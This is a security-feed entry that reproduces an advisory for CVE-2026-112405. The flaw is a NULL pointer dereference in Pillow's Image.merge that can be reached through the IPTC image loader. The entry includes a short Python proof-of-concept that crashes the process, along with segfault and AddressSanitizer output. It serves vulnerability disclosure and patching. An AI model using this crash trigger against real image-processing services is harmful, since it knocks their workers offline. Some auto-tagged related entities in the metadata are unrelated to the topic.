---
schema_version: '1.0'
id: security-20261022-f3787a
title: 'CVE-2026-112405: Pillow: NULL pointer dereference in Image.merge via an unvalidated
  band 0'
url: https://osv.dev/vulnerability/GHSA-cp9v-662q-vvx9
url_hash: f3787a6e4ed4bcc3fb6cf7bb95a643acf835625ea76edb3fdf32e2cb7541de05
canonical_url: https://osv.dev/vulnerability/GHSA-cp9v-662q-vvx9
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-112405
- GHSA-cp9v-662q-vvx9
- severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- pillow
- PyPI
lang: en
published_at: '2026-10-21T20:30:25Z'
fetched_at: '2026-10-22T11:50:12.865490Z'
updated_at: '2026-10-22T17:08:16Z'
status: published
content_hash: 31ebda6c867aaca3c5ce084aa1d63601c416ce80d46411df000ab09a943a6f53
content_changed_at: null
license_note: full
summary: 'Pillow: NULL pointer dereference in Image.merge via an unvalidated band
  0'
summary_source: rss
summary_en: 'Pillow: NULL pointer dereference in Image.merge via an unvalidated band
  0'
summary_omitted_reason: null
redistribution: true
keywords_en:
- band
- cve
- CVE-2026-112405
- dereference
- GHSA-cp9v-662q-vvx9
- Image.merge
- library vulnerability
- 'NULL'
- pillow
- pointer
- PyPI
- severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Shay McVeigh
- software security
- unvalidated
- via
entities_en:
- name: Shay McVeigh
  type: person
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: Shay McVeigh
  type: person
key_facts: []
related: []
related_auto:
- name: Bristol Crown Court
  type: organization
  weight: 1.0
- name: Bristol Magistrates Court
  type: organization
  weight: 1.0
computed_at: '2026-10-22T17:08:12Z'
---

# CVE-2026-112405: Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0

## TL;DR
Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0

## Key Points
- cve / CVE-2026-112405 / GHSA-cp9v-662q-vvx9 / severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N / pillow / PyPI

## Details
**Severity:** CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
**Advisory:** GHSA-cp9v-662q-vvx9 (CVE-2026-112405)

**Details:**
### Summary
`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.

### Details
The validation loop skips band 0:

- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.

For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes:

- `src/libImaging/Bands.c:302`, `:311`, `:321`

The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:

- `src/PIL/IptcImagePlugin.py:156-160`
- `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.

### PoC
```python
from PIL import Image

# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
```

Run it:
```
$ python 02_poc.py
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96`.

Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
    #0 ImagingMerge   src/libImaging/Bands.c:311
    #1 _merge         src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge
```
The null address confirms the dereference of the missing `image8` plane for band 0.

### Impact
NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9
- https://nvd.nist.gov/vuln/detail/CVE-2026-112405
- https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-cp9v-662q-vvx9_

## Source
元記事: [CVE-2026-112405: Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0](https://osv.dev/vulnerability/GHSA-cp9v-662q-vvx9) — published 2026-10-21T20:30:25Z
